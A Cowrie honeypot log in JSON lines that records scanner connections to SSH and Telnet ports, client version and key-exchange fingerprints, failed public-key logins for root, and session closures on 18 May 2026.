{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:65:5a:c7:14:a5:fb:05:a7:4d:23:82:aa:7c:f5:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxqIeOO+txbCbQccAYpDf5Gwq/hkWF97tC9ZaNl9lLCPwNxpYhgTUxFeM6Bk7vN7DhEfyqjJ1NflmMBY5jYO6TridD2YdRTY1miblgRDdKHC7qK2Et0Bc1KEaupYeICqDl1uz9R7/kLStKLgm4CG7Bxd9t3EMxg4ZSUbwx3hyC9gkA7oWsqh/ttVqglE/KnB061nRuaArrjGO1DXL90mcOuZOXsAJ1qw/gh1gTyFq5hTpR1FZWrJsCuiE9Fb7NPipRhR/qcIq8w7MwpVL0KvgNRMjNf1TcJk9LRr3rQihQzfmmGdPvufP7Ljnh8ek/xC6eHVHfsvpOn0gZtBnQL8Ai/LrQ9M393uY+iwnCsRRtPB5wDJ/sWBbjZbNwlOxHQ05yJslsFsM+0iytzZsWoB/va40GxMxxHjrlvCyRI+5cvlLyeSJBs+QXpM2xcvqvL3zpcWBWiIbsOZJWMxzB9nVv6wDWWYjBKN/X2C0YvufMDR50V2t9Cl3u133Gwk1cWIk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.958727Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:23.088054Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49941,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6bee619c8fa","protocol":"ssh","message":"New connection: 167.172.81.52:49941 (159.203.135.109:22) [session: a6bee619c8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:23.625012Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:23.655337Z","src_ip":"167.172.81.52","session":"a6bee619c8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:23.660057Z","src_ip":"167.172.81.52","session":"a6bee619c8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.82666850090027,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:25.938306Z","src_ip":"152.42.224.71","session":"fa5086fa0b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.49485683441162,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:26.545709Z","src_ip":"152.42.224.71","session":"4829145d6b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a96e9df5f24","protocol":"telnet","message":"New connection: 152.42.224.71:40382 (10.17.0.5:23) [session: 3a96e9df5f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:31.783251Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b550ce91e71e","protocol":"telnet","message":"New connection: 152.42.224.71:40366 (10.17.0.5:23) [session: b550ce91e71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:32.081868Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40388,"dst_ip":"10.17.0.5","dst_port":23,"session":"2917a04401ab","protocol":"telnet","message":"New connection: 152.42.224.71:40388 (10.17.0.5:23) [session: 2917a04401ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:34.723429Z"}
{"eventid":"cowrie.session.closed","duration":120.0034487247467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:37.460554Z","src_ip":"152.42.224.71","session":"74f699c77b38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.56616282463074,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:42.651992Z","src_ip":"152.42.224.71","session":"4f8539c1967e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.641138315200806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:45.691134Z","src_ip":"152.42.224.71","session":"6645bd2279b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.74273490905762,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:47.652377Z","src_ip":"152.42.224.71","session":"1e7f4ae2db6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40664,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5844e8a17d8","protocol":"telnet","message":"New connection: 152.42.224.71:40664 (10.17.0.5:23) [session: a5844e8a17d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:53.997983Z"}
{"eventid":"cowrie.session.closed","duration":42.59892296791077,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:54.824696Z","src_ip":"152.42.224.71","session":"209f5939f460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183391571045,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:56.692533Z","src_ip":"152.42.224.71","session":"e6486f2ced4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57410,"dst_ip":"10.17.0.5","dst_port":23,"session":"f439aecc7e0b","protocol":"telnet","message":"New connection: 152.42.224.71:57410 (10.17.0.5:23) [session: f439aecc7e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:58.789110Z"}
{"eventid":"cowrie.session.closed","duration":45.985973834991455,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:59.785456Z","src_ip":"152.42.224.71","session":"3d9825187a2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.161258459091187,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:01.884513Z","src_ip":"152.42.224.71","session":"2917a04401ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":58650,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e56bb34cb4","protocol":"ssh","message":"New connection: 103.176.90.41:58650 (10.17.0.5:22) [session: a4e56bb34cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:05.568870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:05.573923Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:05.661404Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:ae:60:a4:c0:b8:7f:71:f5:7b:c4:0b:b1:a3:1c:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSaWZwIgBYM8v4SEIpU8lXjA4y7jOpavppgQ3uzAqtZqEski+UbNCKIwFByKDKf0SL7DfLpUX5H0EiETFb8+h7Ei2PYN9KhDSGeZ0UYM7fL6Z9QTiI6HC5EURAYLjdu8Luw7MN2FnBOQA/ktpPcj0AnGKQJrSmu2eZ36HBjlk07Td4eXCo1Cw23xw0BM6rFLS360d1OzG5dA0zK+4qZ7/YzB88cYMYJnhRo6fgHX/dOlv9H4OrdxT9rHa2aL1dQg5ODr1uVtfct9vBxPTzYe42Abtxsat6vC/6IL7jgSDPNEaQ2oDrjA7Svsmxtsf4BWOHw0uZIqDbuenwpQFJRaTr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:ae:60:a4:c0:b8:7f:71:f5:7b:c4:0b:b1:a3:1c:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.061013Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:ae:60:a4:c0:b8:7f:71:f5:7b:c4:0b:b1:a3:1c:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSaWZwIgBYM8v4SEIpU8lXjA4y7jOpavppgQ3uzAqtZqEski+UbNCKIwFByKDKf0SL7DfLpUX5H0EiETFb8+h7Ei2PYN9KhDSGeZ0UYM7fL6Z9QTiI6HC5EURAYLjdu8Luw7MN2FnBOQA/ktpPcj0AnGKQJrSmu2eZ36HBjlk07Td4eXCo1Cw23xw0BM6rFLS360d1OzG5dA0zK+4qZ7/YzB88cYMYJnhRo6fgHX/dOlv9H4OrdxT9rHa2aL1dQg5ODr1uVtfct9vBxPTzYe42Abtxsat6vC/6IL7jgSDPNEaQ2oDrjA7Svsmxtsf4BWOHw0uZIqDbuenwpQFJRaTr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.064848Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:47:e5:b8:94:12:07:de:e9:67:8f:23:4f:96:21:19","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKbecBog2i/Ksm2CAOyPdOY8SXnUinY60aO6cD6KioNq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d2:47:e5:b8:94:12:07:de:e9:67:8f:23:4f:96:21:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.153625Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:47:e5:b8:94:12:07:de:e9:67:8f:23:4f:96:21:19","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKbecBog2i/Ksm2CAOyPdOY8SXnUinY60aO6cD6KioNq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.157308Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:2d:bb:89:ae:67:88:3e:87:02:c6:3a:7d:53:65:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJAbCn4hMdNVhlEJlhrZyxAzylZa3xW++B4P4IuT2PeI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 39:2d:bb:89:ae:67:88:3e:87:02:c6:3a:7d:53:65:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.241875Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:2d:bb:89:ae:67:88:3e:87:02:c6:3a:7d:53:65:47","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJAbCn4hMdNVhlEJlhrZyxAzylZa3xW++B4P4IuT2PeI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.245860Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:48:1b:e7:eb:88:ea:19:03:3b:37:97:c1:fa:ac:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO/d3IgEi+/bkzxwHu4ZqZ5vHiGxNUqQ7dw+aD99gt8Qcb7FdBcXxnUHgVu7ZeiA7eC7++lqGRA4b1Rfrfs+xIa/jPcvJgfy2ktHIkCv9rtMKB237wMA7lMwEejHyjr5QkLSbaIAK+0wccXX5YyEOi+TaTmClIup5gQKc+PLYCq5J4d1EFdwmVqh1LM5BhtnzLT3qLYCXsqRVfKEeMKaDe62RGwWOZRvr739Xe3YhJBS7NJoeHjUdvqCt/HQsL4tfvSkwBymeK03kHnE5UKNsTmTF0lYML1zyflVxWgKX5ZW8MHS8oC/9cVyWwIjsntx6k5c7NJzcHeRFfSUkKbHgfAK1pnduRsyigGDo6+UbiBoQQlk/h9uwbZVwI0ZaQt+k2/iiil8LT416Cj41xR93cZXs9sHu686xakk7y+aGizIuoWosXyLeGfeouL2C7N5x/W/900odGIESThv5CL9sE+m3oMnrqLIhLsFxYE0m9yqNFyvlI9XcxjqoKwp7iGnO1T2htHDdJeC/TzttpBJ3ApeoxWNHkg5XMDTvatbsangxNF4c7oP7IGNj3fafapSqCEC+H+37aMjAZCGvTwdL1KiVB9AoAIcslF4Fsddhz9KPqPhADLJKQgDvEaa8F5HHBqA/n1UFF2DaCuG9kop9TVc94p9uOa19ZsY1EWtONrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:48:1b:e7:eb:88:ea:19:03:3b:37:97:c1:fa:ac:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.330774Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:48:1b:e7:eb:88:ea:19:03:3b:37:97:c1:fa:ac:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO/d3IgEi+/bkzxwHu4ZqZ5vHiGxNUqQ7dw+aD99gt8Qcb7FdBcXxnUHgVu7ZeiA7eC7++lqGRA4b1Rfrfs+xIa/jPcvJgfy2ktHIkCv9rtMKB237wMA7lMwEejHyjr5QkLSbaIAK+0wccXX5YyEOi+TaTmClIup5gQKc+PLYCq5J4d1EFdwmVqh1LM5BhtnzLT3qLYCXsqRVfKEeMKaDe62RGwWOZRvr739Xe3YhJBS7NJoeHjUdvqCt/HQsL4tfvSkwBymeK03kHnE5UKNsTmTF0lYML1zyflVxWgKX5ZW8MHS8oC/9cVyWwIjsntx6k5c7NJzcHeRFfSUkKbHgfAK1pnduRsyigGDo6+UbiBoQQlk/h9uwbZVwI0ZaQt+k2/iiil8LT416Cj41xR93cZXs9sHu686xakk7y+aGizIuoWosXyLeGfeouL2C7N5x/W/900odGIESThv5CL9sE+m3oMnrqLIhLsFxYE0m9yqNFyvlI9XcxjqoKwp7iGnO1T2htHDdJeC/TzttpBJ3ApeoxWNHkg5XMDTvatbsangxNF4c7oP7IGNj3fafapSqCEC+H+37aMjAZCGvTwdL1KiVB9AoAIcslF4Fsddhz9KPqPhADLJKQgDvEaa8F5HHBqA/n1UFF2DaCuG9kop9TVc94p9uOa19ZsY1EWtONrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.333871Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:aa:12:1e:76:bf:01:92:3d:4f:8f:1d:37:26:5e:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVzFsejgWuE6rMfgikWfUj0MKG2fSzmlosyGW3/IfEFnkypsR5z2q4nCbOcXdZBZvP1eN14WT0DwogzFMeqp5Hk+riNXdIBUpzETMgoYrMilcJKb1aYA/eCHzcLsFCjT7i6V0amRV42xU7eZBoIuVqxdPSoHmySmGKQlUMWYAzvT0POV0X3OZ/7snjpM1HTLYIj8Lur3YQZty1RQytJBezvA9VfiecswZZxGARTCJC54sRwyhLw834peAEhkHVk0OqB/CKMHnqzBT3459egL1lnv/3QZtjKXNUnZmpyxoOfUuYiQzB06M3VOOav9MWeVhrPe5lx9KTuSxzPgjRa6Yv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:aa:12:1e:76:bf:01:92:3d:4f:8f:1d:37:26:5e:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.418154Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:aa:12:1e:76:bf:01:92:3d:4f:8f:1d:37:26:5e:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVzFsejgWuE6rMfgikWfUj0MKG2fSzmlosyGW3/IfEFnkypsR5z2q4nCbOcXdZBZvP1eN14WT0DwogzFMeqp5Hk+riNXdIBUpzETMgoYrMilcJKb1aYA/eCHzcLsFCjT7i6V0amRV42xU7eZBoIuVqxdPSoHmySmGKQlUMWYAzvT0POV0X3OZ/7snjpM1HTLYIj8Lur3YQZty1RQytJBezvA9VfiecswZZxGARTCJC54sRwyhLw834peAEhkHVk0OqB/CKMHnqzBT3459egL1lnv/3QZtjKXNUnZmpyxoOfUuYiQzB06M3VOOav9MWeVhrPe5lx9KTuSxzPgjRa6Yv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.422329Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:06.508344Z","src_ip":"103.176.90.41","session":"a4e56bb34cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00253510475159,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:07.902362Z","src_ip":"152.42.224.71","session":"79a8a23a4d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.523706674575806,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:10.923761Z","src_ip":"152.42.224.71","session":"7713f420de6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b1e1c57f88","protocol":"telnet","message":"New connection: 152.42.224.71:34782 (10.17.0.5:23) [session: b0b1e1c57f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:19.357302Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.85.130","src_port":56108,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8ddbcac75a8","protocol":"ssh","message":"New connection: 51.81.85.130:56108 (10.17.0.5:22) [session: b8ddbcac75a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.246889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.251714Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.277026Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:44:67:84:81:cf:b5:63:ef:16:67:ca:53:08:5e:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzzE3ycdu24GCMBh6csTn1klqVIA66h9kbYV1aLdeqXf1wX+olqbEVpjV7oj69njdVKgIZAU7MQeWxd0497tpgOEYrlnYmn588p2evJH23+OEl+5iuPIMf62vHtdwKVoHyGPzLa/LJ98XyML6DX9+xAr+4IW9JvTzxpSuH68mm5xZ/CSpBCHWsbAycuBorDjdLXoOZto+p6/KMeA8gQxRKyaZQo4g/MQxtEBxmtksBeG4oe7f6O+fKxr3jAVgabnsDzkE2IwxfxKd7EnYsU9XxEqnojwDk7szW3JxC3tmIX+xTOntp/4nknDD+ymfvLbWZxgg7ff4aq9wTUfvke45mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:44:67:84:81:cf:b5:63:ef:16:67:ca:53:08:5e:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:52:22.324773Z","src_ip":"51.81.85.130","session":"b8ddbcac75a8","protocol":"ssh"}
